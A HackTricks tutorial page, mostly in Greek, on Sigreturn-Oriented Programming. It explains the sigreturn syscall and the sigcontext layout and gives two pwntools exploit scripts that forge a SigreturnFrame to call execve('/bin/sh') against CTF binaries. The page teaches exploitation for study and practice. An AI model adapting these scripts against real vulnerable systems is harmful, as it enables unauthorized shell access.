SROP - Sigreturn-Oriented Programming
Reading time: 7 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Sigreturn
είναι μια ειδική syscall που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν χειριστή σήματος, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα.
Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να επανέλθει στην προηγούμενη κατάσταση του σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το sigreturn
. Βοηθά το πρόγραμμα να επιστρέψει από τον χειριστή σήματος και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το stack frame (την ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
Το ενδιαφέρον μέρος είναι πώς το sigreturn
αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας όλες τις τιμές των καταχωρητών της CPU στο stack. Όταν το σήμα δεν είναι πλέον αποκλεισμένο, sigreturn
αφαιρεί αυτές τις τιμές από το stack, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη stack (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή του stack.
caution
Η κλήση της syscall sigreturn
από μια αλυσίδα ROP και η προσθήκη των τιμών καταχωρητών που θα θέλαμε να φορτώσει στο stack είναι δυνατή για να ελέγξουμε όλες τις τιμές καταχωρητών και επομένως να καλέσουμε για παράδειγμα τη syscall execve
με /bin/sh
.
Σημειώστε πώς αυτό θα ήταν μια τύπου Ret2syscall που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls:
Αν είστε περίεργοι, αυτή είναι η δομή sigcontext που αποθηκεύεται στο stack για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από εδώ):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Για μια καλύτερη εξήγηση, ελέγξτε επίσης:
Παράδειγμα
Μπορείτε να βρείτε ένα παράδειγμα εδώ όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή 0xf
), αν και αυτή είναι η τελική εκμετάλλευση από εκεί:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Ελέγξτε επίσης το exploit από εδώ όπου το δυαδικό αρχείο καλούσε ήδη το sigreturn
και επομένως δεν είναι απαραίτητο να το κατασκευάσουμε με ένα ROP:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Άλλα Παραδείγματα & Αναφορές
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Assembly binary που επιτρέπει να γραφεί στη στοίβα και στη συνέχεια καλεί την
sigreturn
syscall. Είναι δυνατόν να γραφεί στη στοίβα ένα ret2syscall μέσω μιας δομής sigreturn και να διαβαστεί η σημαία που βρίσκεται στη μνήμη του binary. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Assembly binary που επιτρέπει να γραφεί στη στοίβα και στη συνέχεια καλεί την
sigreturn
syscall. Είναι δυνατόν να γραφεί στη στοίβα ένα ret2syscall μέσω μιας δομής sigreturn (το binary έχει τη συμβολοσειρά/bin/sh
). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 bits, no relro, no canary, nx, no pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία
gets
με έλλειψη gadgets που εκτελεί ένα ret2syscall. Η αλυσίδα ROP γράφει/bin/sh
στο.bss
καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργίαalarm
για να ορίσει το eax σε0xf
για να καλέσει ένα SROP και να εκτελέσει ένα shell. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64 bits assembly πρόγραμμα, no relro, no canary, nx, no pie. Η ροή επιτρέπει να γραφεί στη στοίβα, να ελεγχθούν αρκετοί καταχωρητές και να κληθεί μια syscall και στη συνέχεια καλεί
exit
. Η επιλεγμένη syscall είναι μιαsigreturn
που θα ορίσει τους καταχωρητές και θα μετακινήσει τοeip
για να καλέσει μια προηγούμενη εντολή syscall και να εκτελέσει τοmemprotect
για να ορίσει τον χώρο του binary σεrwx
και να ορίσει το ESP στον χώρο του binary. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά το read intro ESP, αλλά σε αυτή την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, έτσι ώστε η μεταφορά ενός shellcode να το γράψει ως την επόμενη εντολή και να το εκτελέσει. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε.
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.